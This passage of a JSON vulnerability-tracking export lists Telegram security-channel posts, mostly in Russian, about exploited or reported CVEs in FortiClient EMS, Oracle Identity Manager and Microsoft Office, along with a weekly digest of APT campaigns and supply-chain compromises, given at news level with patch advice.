Telegram\u2011\u0431\u043e\u0442\u043e\u0432.\n\n#\u0434\u0430\u0439\u0434\u0436\u0435\u0441\u0442 #APT @\u041f2\u0422", "creation_timestamp": "2026-03-30T07:33:05.000000Z"}, {"uuid": "c10ac220-7a62-450c-8549-f20d16641cba", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-21643", "type": "exploited", "source": "https://t.me/true_secator/8043", "content": "\u0418\u0441\u0441\u043b\u0435\u0434\u043e\u0432\u0430\u0442\u0435\u043b\u0438 Defused \u0441\u043e\u043e\u0431\u0449\u0430\u044e\u0442 \u043e \u043d\u0430\u0446\u0435\u043b\u0438\u0432\u0430\u043d\u0438\u0438 \u043a\u0438\u0431\u0435\u0440\u043f\u043e\u0434\u043f\u043e\u043b\u044c\u044f \u043d\u0430 \u043a\u0440\u0438\u0442\u0438\u0447\u0435\u0441\u043a\u0443\u044e \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u0432 \u043f\u043b\u0430\u0442\u0444\u043e\u0440\u043c\u0435 FortiClient EMS \u043e\u0442 Fortinet.\n\nSQL-\u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c, CVE-2026-21643, \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u0435\u0442 \u043d\u0435\u0430\u0432\u0442\u043e\u0440\u0438\u0437\u043e\u0432\u0430\u043d\u043d\u044b\u043c \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0430\u043c \u0432\u044b\u043f\u043e\u043b\u043d\u044f\u0442\u044c \u043f\u0440\u043e\u0438\u0437\u0432\u043e\u043b\u044c\u043d\u044b\u0439 \u043a\u043e\u0434 \u0438\u043b\u0438 \u043a\u043e\u043c\u0430\u043d\u0434\u044b \u0432 \u043d\u0435\u0437\u0430\u0449\u0438\u0449\u0435\u043d\u043d\u044b\u0445 \u0441\u0438\u0441\u0442\u0435\u043c\u0430\u0445 \u043f\u043e\u0441\u0440\u0435\u0434\u0441\u0442\u0432\u043e\u043c \u0430\u0442\u0430\u043a \u043d\u0438\u0437\u043a\u043e\u0439 \u0441\u043b\u043e\u0436\u043d\u043e\u0441\u0442\u0438, \u043d\u0430\u0446\u0435\u043b\u0435\u043d\u043d\u044b\u0445 \u043d\u0430 \u0433\u0440\u0430\u0444\u0438\u0447\u0435\u0441\u043a\u0438\u0439 \u0438\u043d\u0442\u0435\u0440\u0444\u0435\u0439\u0441 \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044f FortiClientEMS \u0441 \u043f\u043e\u043c\u043e\u0449\u044c\u044e \u0441\u043f\u0435\u0446\u0438\u0430\u043b\u044c\u043d\u043e \u0441\u0444\u043e\u0440\u043c\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u044b\u0445 HTTP-\u0437\u0430\u043f\u0440\u043e\u0441\u043e\u0432.\n\n\u041e\u0448\u0438\u0431\u043a\u0430 \u0431\u044b\u043b\u0430 \u043e\u0431\u043d\u0430\u0440\u0443\u0436\u0435\u043d\u0430 \u0432\u043d\u0443\u0442\u0440\u0438 \u043a\u043e\u043c\u043f\u0430\u043d\u0438\u0438 \u0413\u0432\u0435\u043d\u0434\u0430\u043b\u0435\u043c \u0413\u0435\u043d\u044c\u043e \u0438\u0437 \u0433\u0440\u0443\u043f\u043f\u044b \u0431\u0435\u0437\u043e\u043f\u0430\u0441\u043d\u043e\u0441\u0442\u0438 \u043f\u0440\u043e\u0434\u0443\u043a\u0442\u043e\u0432 Fortinet \u0438 \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u0435\u0442 \u0432\u043d\u0435\u0434\u0440\u044f\u0442\u044c SQL-\u0437\u0430\u043f\u0440\u043e\u0441\u044b \u0447\u0435\u0440\u0435\u0437 \u0437\u0430\u0433\u043e\u043b\u043e\u0432\u043e\u043a Site \u0432 HTTP-\u0437\u0430\u043f\u0440\u043e\u0441\u0435. \n\n\u041e\u043d\u0430 \u0437\u0430\u0442\u0440\u0430\u0433\u0438\u0432\u0430\u0435\u0442 \u0432\u0435\u0440\u0441\u0438\u044e FortiClient EMS 7.4.4 \u0438 \u043c\u043e\u0436\u0435\u0442 \u0431\u044b\u0442\u044c \u0443\u0441\u0442\u0440\u0430\u043d\u0435\u043d\u0430 \u043f\u0443\u0442\u0435\u043c \u043e\u0431\u043d\u043e\u0432\u043b\u0435\u043d\u0438\u044f \u0434\u043e \u0432\u0435\u0440\u0441\u0438\u0438 7.4.5 \u0438\u043b\u0438 \u0431\u043e\u043b\u0435\u0435 \u043f\u043e\u0437\u0434\u043d\u0435\u0439. \u041f\u043e \u0434\u0430\u043d\u043d\u044b\u043c Shodan, \u0432 \u043e\u0442\u043a\u0440\u044b\u0442\u043e\u043c \u0434\u043e\u0441\u0442\u0443\u043f\u0435 \u043d\u0430\u0445\u043e\u0434\u0438\u0442\u0441\u044f \u043e\u043a\u043e\u043b\u043e 1000 \u044d\u043a\u0437\u0435\u043c\u043f\u043b\u044f\u0440\u043e\u0432 Forticlient EMS. \n\n\u041f\u043e \u0434\u0430\u043d\u043d\u044b\u043c Defused, CVE-2026-21643 \u0432 \u043d\u0430\u0441\u0442\u043e\u044f\u0449\u0435\u0435 \u0432\u0440\u0435\u043c\u044f \u043e\u0442\u043c\u0435\u0447\u0435\u043d\u0430 \u043a\u0430\u043a \u043d\u0435\u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u0435\u043c\u0430\u044f \u0432 \u0441\u043f\u0438\u0441\u043a\u0430\u0445 CISA \u0438 \u0434\u0440\u0443\u0433\u0438\u0445 \u0443\u0447\u0435\u0442\u0430\u0445 \u0438\u0437\u0432\u0435\u0441\u0442\u043d\u044b\u0445 \u044d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0438\u0440\u0443\u0435\u043c\u044b\u0445 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0435\u0439 (KEV), \u043d\u043e \u0431\u044b\u043b\u0430 \u0432\u043f\u0435\u0440\u0432\u044b\u0435 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043d\u0430 \u0435\u0449\u0435 4 \u0434\u043d\u044f \u043d\u0430\u0437\u0430\u0434.\n\nFortinet, \u0432 \u0441\u0432\u043e\u044e \u043e\u0447\u0435\u0440\u0435\u0434\u044c, \u043f\u043e\u043a\u0430 \u043d\u0435 \u043e\u0431\u043d\u043e\u0432\u0438\u043b\u0430 \u0441\u0432\u043e\u0435\u00a0\u0443\u0432\u0435\u0434\u043e\u043c\u043b\u0435\u043d\u0438\u0435 \u043f\u043e \u0431\u0435\u0437\u043e\u043f\u0430\u0441\u043d\u043e\u0441\u0442\u0438\u00a0\u0438 \u043d\u0435 \u043e\u0442\u043c\u0435\u0442\u0438\u043b\u0430, \u0447\u0442\u043e \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u0435\u0442\u0441\u044f \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0430\u043c\u0438. \u0418 \u0432 \u0446\u0435\u043b\u043e\u043c \u0438\u0433\u043d\u043e\u0440\u0438\u0440\u0443\u0435\u0442 \u043e\u0431\u0440\u0430\u0449\u0435\u043d\u0438\u044f \u043f\u043e \u044d\u0442\u043e\u043c\u0443 \u043f\u043e\u0432\u043e\u0434\u0443, \u043d\u0438\u0447\u0435\u0433\u043e \u043d\u0435 \u043a\u043e\u043c\u043c\u0435\u043d\u0442\u0438\u0440\u0443\u044f.\n\n\u0418\u0441\u0441\u043b\u0435\u0434\u043e\u0432\u0430\u0442\u0435\u043b\u0438 Shadowserver \u0432 \u043d\u0430\u0441\u0442\u043e\u044f\u0449\u0435\u0435 \u0432\u0440\u0435\u043c\u044f \u043e\u0442\u0441\u043b\u0435\u0436\u0438\u0432\u0430\u044e\u0442 \u0431\u043e\u043b\u0435\u0435 2000 \u044d\u043a\u0437\u0435\u043c\u043f\u043b\u044f\u0440\u043e\u0432 FortiClient EMS\u00a0\u0441 \u043e\u0442\u043a\u0440\u044b\u0442\u044b\u043c\u0438 \u0432 \u0441\u0435\u0442\u0438 \u0432\u0435\u0431-\u0438\u043d\u0442\u0435\u0440\u0444\u0435\u0439\u0441\u0430\u043c\u0438, \u043f\u0440\u0438 \u044d\u0442\u043e\u043c \u0431\u043e\u043b\u0435\u0435 1400 IP-\u0430\u0434\u0440\u0435\u0441\u043e\u0432 \u043d\u0430\u0445\u043e\u0434\u044f\u0442\u0441\u044f \u0432 \u0421\u0428\u0410 \u0438 \u0415\u0432\u0440\u043e\u043f\u0435.\n\n\u0414\u0430\u043d\u043d\u044b\u0435 Shodan\u00a0\u0440\u0438\u0441\u0443\u044e\u0442 \u0432 \u0446\u0435\u043b\u043e\u043c \u043f\u043e \u0440\u0435\u0448\u0435\u043d\u0438\u044f\u043c Fortinet \u043d\u0435 \u043c\u0435\u043d\u0435\u0435 \u043f\u0435\u0447\u0430\u043b\u044c\u043d\u0443\u044e \u043a\u0430\u0440\u0442\u0438\u043d\u0443.\n\n\u0412 \u043e\u0431\u0449\u0435\u0439 \u0441\u043b\u043e\u0436\u043d\u043e\u0441\u0442\u0438 CISA\u00a0\u0443\u043a\u0430\u0437\u044b\u0432\u0430\u0430\u0435\u0442 24\u00a0\u0430\u043a\u0442\u0438\u0432\u043d\u043e \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u0435\u043c\u044b\u0435 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 \u0432 Fortinet, 13 \u0438\u0437 \u043a\u043e\u0442\u043e\u0440\u044b\u0445 \u043f\u0440\u0438\u043c\u0435\u043d\u044f\u043b\u0438\u0441\u044c \u0432 \u0430\u0442\u0430\u043a\u0430\u0445 \u0441 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043d\u0438\u0435\u043c ransomware.", "creation_timestamp": "2026-03-30T11:14:29.000000Z"}, {"uuid": "5c873ba7-f387-435f-9c80-e60e8394332c", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-21513", "type": "seen", "source": "https://t.me/kasperskyb2b/2120", "content": "Trivy \u0438 LiteLLM \u043f\u043e\u0434 \u0443\u0434\u0430\u0440\u043e\u043c, \u044d\u0432\u043e\u043b\u044e\u0446\u0438\u044f BPFdoor \u0438 \u0434\u0440\u0443\u0433\u0438\u0435 \u0438\u0441\u0441\u043b\u0435\u0434\u043e\u0432\u0430\u043d\u0438\u044f APT \u0437\u0430 \u043d\u0435\u0434\u0435\u043b\u044e\n\n\ud83d\udd25\u0412\u0435\u0440\u043e\u044f\u0442\u043d\u043e, \u0441\u0430\u043c\u0430\u044f \u0437\u043d\u0430\u0447\u0438\u043c\u0430\u044f \u043d\u043e\u0432\u043e\u0441\u0442\u044c \u043c\u0435\u0441\u044f\u0446\u0430, \u043a\u043e\u0442\u043e\u0440\u0430\u044f \u0435\u0449\u0451 \u043d\u0435 \u0440\u0430\u0437 \u043d\u0430\u043c \u0430\u0443\u043a\u043d\u0435\u0442\u0441\u044f \u2014 \u043a\u043e\u043c\u043f\u0440\u043e\u043c\u0435\u0442\u0430\u0446\u0438\u0438 \u0431\u0438\u0431\u043b\u0438\u043e\u0442\u0435\u043a\u0438 \u043f\u043e \u0440\u0430\u0431\u043e\u0442\u0435 \u0441 \u0418\u0418-\u0441\u0438\u0441\u0442\u0435\u043c\u0430\u043c\u0438 LiteLLM, \u0441\u043a\u0430\u043d\u0435\u0440\u043e\u0432 \u0431\u0435\u0437\u043e\u043f\u0430\u0441\u043d\u043e\u0441\u0442\u0438 Trivy \u0438 Checkmarx. \u0418\u043d\u0446\u0438\u0434\u0435\u043d\u0442\u0443 \u043f\u0440\u0438\u0441\u0432\u043e\u0435\u043d CVE-2026-33634 (CVSS 9.4). \u0412\u0440\u0435\u0434\u043e\u043d\u043e\u0441\u043d\u043e\u0435 \u041f\u041e, \u043d\u0430\u043f\u043e\u043c\u043d\u0438\u043c, \u0442\u0430\u0449\u0438\u0442 SSH\u2011\u043a\u043b\u044e\u0447\u0438, \u0441\u0435\u043a\u0440\u0435\u0442\u044b CI/CD,  \u0443\u0447\u0451\u0442\u043d\u044b\u0435 \u0434\u0430\u043d\u043d\u044b\u0435 AWS \u0438 GCP, \u0441\u0435\u043a\u0440\u0435\u0442\u044b k8 \u0438 \u0434\u0430\u0436\u0435  \u043a\u0440\u0438\u043f\u0442\u043e\u043a\u043e\u0448\u0435\u043b\u044c\u043a\u0438. \u0421\u043b\u0435\u0434\u043e\u043c \u043d\u0430 \u043f\u0440\u043e\u0441\u0442\u043e\u0440\u044b npm \u0431\u044b\u043b \u0432\u044b\u043f\u0443\u0449\u0435\u043d \u0447\u0435\u0440\u0432\u044c CanisterWorm.\n\n\ud83d\udcf1APT Red Menshen \u043f\u0440\u043e\u0434\u043e\u043b\u0436\u0430\u0435\u0442 \u0440\u0430\u0437\u0432\u0438\u0432\u0430\u0442\u044c BPFDoor, \u0441\u043a\u0440\u044b\u0442\u043d\u044b\u0439 Linux\u2011\u0431\u044d\u043a\u0434\u043e\u0440, \u043a\u043e\u0442\u043e\u0440\u044b\u0439 \u0437\u043b\u043e\u0443\u043f\u043e\u0442\u0440\u0435\u0431\u043b\u044f\u0435\u0442 eBPF \u0438 \u0430\u043a\u0442\u0438\u0432\u0438\u0440\u0443\u0435\u0442\u0441\u044f \u0442\u043e\u043b\u044c\u043a\u043e \u043f\u0440\u0438 \u043f\u043e\u043b\u0443\u0447\u0435\u043d\u0438\u0438 \u0441\u043f\u0435\u0446\u0438\u0430\u043b\u044c\u043d\u043e \u0441\u0444\u043e\u0440\u043c\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u043e\u0433\u043e \u00ab\u0432\u043e\u043b\u0448\u0435\u0431\u043d\u043e\u0433\u043e\u00bb \u043f\u0430\u043a\u0435\u0442\u0430. \u0412 \u043d\u043e\u0432\u044b\u0445 \u0432\u0435\u0440\u0441\u0438\u044f\u0445 \u0442\u0440\u0438\u0433\u0433\u0435\u0440\u044b \u0432\u0441\u0442\u0440\u0430\u0438\u0432\u0430\u044e\u0442\u0441\u044f \u0432 HTTPS\u2011\u0442\u0440\u0430\u0444\u0438\u043a, \u0447\u0442\u043e \u0434\u0435\u043b\u0430\u0435\u0442 \u0434\u0435\u0442\u0435\u043a\u0442\u0438\u0440\u043e\u0432\u0430\u043d\u0438\u0435 \u0437\u0430\u043c\u0435\u0442\u043d\u043e \u0441\u043b\u043e\u0436\u043d\u0435\u0435. \u0413\u0440\u0443\u043f\u043f\u0430 \u0447\u0451\u0442\u043a\u043e \u043d\u0430\u0446\u0435\u043b\u0435\u043d\u0430 \u043d\u0430 \u0442\u0435\u043b\u0435\u043a\u043e\u043c\u2011\u043e\u043f\u0435\u0440\u0430\u0442\u043e\u0440\u043e\u0432 \u0438 \u0433\u043e\u0441\u0441\u0442\u0440\u0443\u043a\u0442\u0443\u0440\u044b. \u041f\u0440\u043e\u043d\u0438\u043a\u0430\u044e\u0442  \u0432 \u0441\u0435\u0442\u044c \u0447\u0435\u0440\u0435\u0437 \u0443\u044f\u0437\u0432\u0438\u043c\u044b\u0435 \u043f\u043e\u0433\u0440\u0430\u043d\u0438\u0447\u043d\u044b\u0435 \u0443\u0441\u0442\u0440\u043e\u0439\u0441\u0442\u0432\u0430 Ivanti, Cisco, Fortinet \u0438 Palo Alto. \u0414\u043b\u044f \u0441\u0435\u0442\u0435\u0432\u044b\u0445 \u0443\u0441\u0442\u0440\u043e\u0439\u0441\u0442\u0432 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u044e\u0442\u0441\u044f \u0443\u0447\u0451\u0442\u043d\u044b\u0435 \u0434\u0430\u043d\u043d\u044b\u0435 \u0438 \u043d\u0430\u0441\u0442\u0440\u043e\u0439\u043a\u0438, \u0445\u0430\u0440\u0430\u043a\u0442\u0435\u0440\u043d\u044b\u0435 \u0438\u043c\u0435\u043d\u043d\u043e \u0434\u043b\u044f \u044d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0430\u0446\u0438\u0438 \u0442\u0435\u043b\u0435\u043a\u043e\u043c-\u043f\u0440\u043e\u0432\u0430\u0439\u0434\u0435\u0440\u0430\u043c\u0438. \u041d\u0435\u043a\u043e\u0442\u043e\u0440\u044b\u0435 \u0432\u0435\u0440\u0441\u0438\u0438 BPFDoor \u0441\u043f\u043e\u0441\u043e\u0431\u043d\u044b \u0438\u043d\u0441\u043f\u0435\u043a\u0442\u0438\u0440\u043e\u0432\u0430\u0442\u044c \u0442\u0440\u0430\u0444\u0438\u043a \u0441\u0438\u0433\u043d\u0430\u043b\u044c\u043d\u043e\u0433\u043e \u043f\u0440\u043e\u0442\u043e\u043a\u043e\u043b\u0430 SCTP,  \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u044f \u0430\u0442\u0430\u043a\u0443\u044e\u0449\u0438\u043c \u0441\u043b\u0435\u0434\u0438\u0442\u044c \u0437\u0430 \u0432\u0441\u0435\u043c\u0438 \u043f\u0435\u0440\u0435\u043c\u0435\u0449\u0435\u043d\u0438\u044f\u043c\u0438 \u0430\u0431\u043e\u043d\u0435\u043d\u0442\u043e\u0432 \u0442\u0435\u043b\u0435\u043a\u043e\u043c-\u043e\u043f\u0435\u0440\u0430\u0442\u043e\u0440\u0430.\n\n\ud83d\udd3b\u0410\u043d\u0430\u043b\u0438\u0437 \u044d\u043a\u0441\u043f\u0435\u0440\u0442\u043e\u0432 \u00ab\u041b\u0430\u0431\u043e\u0440\u0430\u0442\u043e\u0440\u0438\u0438 \u041a\u0430\u0441\u043f\u0435\u0440\u0441\u043a\u043e\u0433\u043e\u00bb  \u043f\u043e\u0434\u0442\u0432\u0435\u0440\u0434\u0438\u043b \u0441\u0432\u044f\u0437\u044c \u043c\u0435\u0436\u0434\u0443 \u044d\u043a\u0441\u043f\u043b\u043e\u0439\u0442\u2011\u043a\u0438\u0442\u043e\u043c Coruna \u0438 \u043e\u043f\u0435\u0440\u0430\u0446\u0438\u0435\u0439 \u00ab\u0422\u0440\u0438\u0430\u043d\u0433\u0443\u043b\u044f\u0446\u0438\u044f\u00bb. \n\n\ud83d\udfe2 \u0422\u0435\u0445\u043d\u0438\u0447\u0435\u0441\u043a\u0438\u0439 \u0430\u043d\u0430\u043b\u0438\u0437 \u0430\u0442\u0430\u043a\u0438 \u043d\u0430 \u0444\u0438\u043d\u0430\u043d\u0441\u043e\u0432\u0443\u044e \u043e\u0440\u0433\u0430\u043d\u0438\u0437\u0430\u0446\u0438\u044e \u0432 \u042e\u0412\u0410: \u0441\u0432\u044f\u0437\u043a\u0430 \u0431\u044d\u043a\u0434\u043e\u0440\u0430 Brushworm \u0438 \u043a\u0435\u0439\u043b\u043e\u0433\u0433\u0435\u0440\u0430 Brushlogger \u0440\u0430\u0441\u043f\u0440\u043e\u0441\u0442\u0440\u0430\u043d\u044f\u0435\u0442\u0441\u044f \u0447\u0435\u0440\u0435\u0437 USB\u2011\u043d\u043e\u0441\u0438\u0442\u0435\u043b\u0438, \u043f\u043e\u0445\u0438\u0449\u0430\u0435\u0442 \u0434\u043e\u043a\u0443\u043c\u0435\u043d\u0442\u044b \u0438 \u0430\u0440\u0445\u0438\u0432\u044b \u044d\u043b\u0435\u043a\u0442\u0440\u043e\u043d\u043d\u043e\u0439 \u043f\u043e\u0447\u0442\u044b.\n\n\ud83d\udfe2\u0420\u0430\u0437\u0431\u043e\u0440 \u0412\u041f\u041e PRISMEX, \u043f\u0440\u0435\u0434\u043f\u043e\u043b\u043e\u0436\u0438\u0442\u0435\u043b\u044c\u043d\u043e \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u0435\u043c\u043e\u0433\u043e APT28. \u041e\u043d\u043e \u0431\u044b\u043b\u043e \u0437\u0430\u043c\u0435\u0447\u0435\u043d\u043e \u0432 \u0430\u0442\u0430\u043a\u0430\u0445, \u044d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0438\u0440\u0443\u044e\u0449\u0438\u0445 \u0434\u0432\u0435 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 \u043d\u0443\u043b\u0435\u0432\u043e\u0433\u043e \u0434\u043d\u044f \u0432 Microsoft Office (CVE-2026-21509 \u0438 CVE-2026-21513). PRISMEX \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u0435\u0442 \u0441\u0442\u0435\u0433\u0430\u043d\u043e\u0433\u0440\u0430\u0444\u0438\u044e, \u0442\u0435\u0445\u043d\u0438\u043a\u0443 COM hijacking \u0434\u043b\u044f \u0437\u0430\u043a\u0440\u0435\u043f\u043b\u0435\u043d\u0438\u044f \u0438 \u0437\u043b\u043e\u0443\u043f\u043e\u0442\u0440\u0435\u0431\u043b\u044f\u0435\u0442 \u043e\u0431\u043b\u0430\u0447\u043d\u044b\u043c \u0441\u0435\u0440\u0432\u0438\u0441\u043e\u043c Filen io \u0432 \u043a\u0430\u0447\u0435\u0441\u0442\u0432\u0435 \u04212.\n\n\ud83d\udfe3APT Silver Fox \u043f\u0440\u043e\u0432\u043e\u0434\u0438\u0442 \u0444\u0438\u0448\u0438\u043d\u0433\u043e\u0432\u044b\u0435 \u043a\u0430\u043c\u043f\u0430\u043d\u0438\u0438 \u043f\u043e\u0434 \u0432\u0438\u0434\u043e\u043c \u043d\u0430\u043b\u043e\u0433\u043e\u0432\u044b\u0445 \u0443\u0432\u0435\u0434\u043e\u043c\u043b\u0435\u043d\u0438\u0439 \u043f\u043e \u0441\u0442\u0440\u0430\u043d\u0430\u043c \u042e\u0433\u043e\u2011\u0412\u043e\u0441\u0442\u043e\u0447\u043d\u043e\u0439 \u0410\u0437\u0438\u0438, \u0434\u043e\u0441\u0442\u0430\u0432\u043b\u044f\u044f ValleyRAT \u0432\u043c\u0435\u0441\u0442\u0435 \u0441 \u043f\u043e\u0434\u043f\u0438\u0441\u0430\u043d\u043d\u044b\u043c \u0434\u0440\u0430\u0439\u0432\u0435\u0440\u043e\u043c, \u0430 \u0442\u0430\u043a\u0436\u0435 \u043c\u043e\u0434\u0438\u0444\u0438\u0446\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u044b\u0439 Gh0st RAT \u043f\u043e\u0434 \u043d\u0430\u0437\u0432\u0430\u043d\u0438\u0435\u043c HoldingHands \u0438 \u0438\u043d\u0444\u043e\u0441\u0442\u0438\u043b\u0435\u0440 \u043d\u0430 Python, \u0437\u0430\u043c\u0430\u0441\u043a\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u044b\u0439 \u043f\u043e\u0434 WhatsApp. \u0413\u0440\u0443\u043f\u043f\u0430 \u043f\u0440\u043e\u0434\u043e\u043b\u0436\u0430\u0435\u0442 \u0441\u043e\u0447\u0435\u0442\u0430\u0442\u044c \u0444\u0438\u043d\u0430\u043d\u0441\u043e\u0432\u043e \u043c\u043e\u0442\u0438\u0432\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u044b\u0435 \u0430\u0442\u0430\u043a\u0438 \u0441\u043e \u0448\u043f\u0438\u043e\u043d\u0430\u0436\u0435\u043c. \n\n\ud83e\udd2a\u041d\u0435 \u043f\u0443\u0442\u0430\u0435\u043c PaaS \u0438 PaaS!  EvilTokens, \u043f\u043b\u0430\u0442\u0444\u043e\u0440\u043c\u0430 \u00ab\u0444\u0438\u0448\u0438\u043d\u0433 \u043a\u0430\u043a \u0443\u0441\u043b\u0443\u0433\u0430\u00bb (Phishing as a Service) \u0437\u043b\u043e\u0443\u043f\u043e\u0442\u0440\u0435\u0431\u043b\u044f\u0435\u0442 \u0438\u043d\u0444\u0440\u0430\u0441\u0442\u0440\u0443\u043a\u0442\u0443\u0440\u043e\u0439 \u043f\u0440\u043e\u0432\u0430\u0439\u0434\u0435\u0440\u0430 Railway.com (Platform as a Service) \u0434\u043b\u044f \u043a\u0440\u0430\u0436\u0438 \u0442\u043e\u043a\u0435\u043d\u043e\u0432 \u0430\u0443\u0442\u0435\u043d\u0442\u0438\u0444\u0438\u043a\u0430\u0446\u0438\u0438 Microsoft 365 \u0443 \u0441\u043e\u0442\u0435\u043d \u043e\u0440\u0433\u0430\u043d\u0438\u0437\u0430\u0446\u0438\u0439 \u0432 \u0421\u0428\u0410, \u041a\u0430\u043d\u0430\u0434\u0435, \u0410\u0432\u0441\u0442\u0440\u0430\u043b\u0438\u0438, \u041d\u043e\u0432\u043e\u0439 \u0417\u0435\u043b\u0430\u043d\u0434\u0438\u0438 \u0438 \u0413\u0435\u0440\u043c\u0430\u043d\u0438\u0438.\n\n\ud83d\udd34\u0410\u043d\u0430\u043b\u0438\u0437 \u0430\u0442\u0430\u043a \u0441 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043d\u0438\u0435\u043c PXA Stealer, \u043d\u0430\u0446\u0435\u043b\u0435\u043d\u043d\u044b\u0445 \u043d\u0430 \u0444\u0438\u043d\u0430\u043d\u0441\u043e\u0432\u044b\u0435 \u043e\u0440\u0433\u0430\u043d\u0438\u0437\u0430\u0446\u0438\u0438 \u043f\u043e \u0432\u0441\u0435\u043c\u0443 \u043c\u0438\u0440\u0443.\n\n\ud83d\udcf1 \u041e\u0431\u0437\u043e\u0440 12 \u043d\u043e\u0432\u044b\u0445 \u0441\u0435\u043c\u0435\u0439\u0441\u0442\u0432 \u0441\u0442\u0438\u043b\u0435\u0440\u043e\u0432, \u0440\u0430\u0441\u043f\u0440\u043e\u0441\u0442\u0440\u0430\u043d\u044f\u0435\u043c\u044b\u0445 \u0447\u0435\u0440\u0435\u0437 Telegram\u2011\u0431\u043e\u0442\u043e\u0432.\n\n#\u0434\u0430\u0439\u0434\u0436\u0435\u0441\u0442 #APT @\u041f2\u0422", "creation_timestamp": "2026-03-30T07:33:05.000000Z"}, {"uuid": "014c8d68-4111-4e92-a472-79cfc59f6a16", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-21992", "type": "exploited", "source": "https://t.me/information_security_channel/55029", "content": "Oracle Releases Emergency Patch for Critical Identity Manager Vulnerability\nhttps://www.securityweek.com/oracle-releases-emergency-patch-for-critical-identity-manager-vulnerability/\n\nCVE-2026-21992 can be used without authentication for remote code execution and it may have been exploited in the wild.\u00a0\nThe post Oracle Releases Emergency Patch for Critical Identity Manager Vulnerability (https://www.securityweek.com/oracle-releases-emergency-patch-for-critical-identity-manager-vulnerability/) appeared first on SecurityWeek (https://www.securityweek.com/).", "creation_timestamp": "2026-03-23T06:46:50.000000Z"}, {"uuid": "5e8ee1b4-2938-4a65-845f-76804d603e29", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-21992", "type": "seen", "source": "https://t.me/TengkorakCyberCrewzz/39022", "content": "Oracle Patches Critical CVE-2026-21992 Enabling Unauthenticated RCE in Identity Manager \u2013 thehackernews.com\n\nSat, 21 Mar 2026 18:24:00", "creation_timestamp": "2026-03-21T12:03:33.000000Z"}, {"uuid": "dc420ef7-9469-4275-830d-fbda2a37cc31", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-21992", "type": "seen", "source": "https://t.me/bdufstecru/3030", "content": "\u0423\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u043a\u043e\u043c\u043f\u043e\u043d\u0435\u043d\u0442\u0430 REST WebServices \u0434\u0438\u0441\u043f\u0435\u0442\u0447\u0435\u0440\u0430 \u0438\u0434\u0435\u043d\u0442\u0438\u0444\u0438\u043a\u0430\u0446\u0438\u0438 Oracle Identity Manager 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\u0443\u0434\u0430\u043b\u0435\u043d\u043d\u043e, \u043f\u043e\u043b\u0443\u0447\u0438\u0442\u044c \u043d\u0435\u0441\u0430\u043d\u043a\u0446\u0438\u043e\u043d\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u044b\u0439 \u0434\u043e\u0441\u0442\u0443\u043f \u043a \u0441\u0438\u0441\u0442\u0435\u043c\u0435 \u043f\u0443\u0442\u0435\u043c \u043e\u0442\u043f\u0440\u0430\u0432\u043a\u0438 \u0441\u043f\u0435\u0446\u0438\u0430\u043b\u044c\u043d\u043e \u0441\u0444\u043e\u0440\u043c\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u043e\u0433\u043e HTTP-\u0437\u0430\u043f\u0440\u043e\u0441\u0430\n\nBDU:2026-03475\nCVE-2026-21992\n\n\u0423\u0441\u0442\u0430\u043d\u043e\u0432\u043a\u0430 \u043e\u0431\u043d\u043e\u0432\u043b\u0435\u043d\u0438\u0439 \u0438\u0437 \u0434\u043e\u0432\u0435\u0440\u0435\u043d\u043d\u044b\u0445 \u0438\u0441\u0442\u043e\u0447\u043d\u0438\u043a\u043e\u0432. \u0412 \u0441\u0432\u044f\u0437\u0438 \u0441\u043e \u0441\u043b\u043e\u0436\u0438\u0432\u0448\u0435\u0439\u0441\u044f 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\u0440\u0438\u0441\u043a\u043e\u0432.\n\n\u041a\u043e\u043c\u043f\u0435\u043d\u0441\u0438\u0440\u0443\u044e\u0449\u0438\u0435 \u043c\u0435\u0440\u044b:\n- 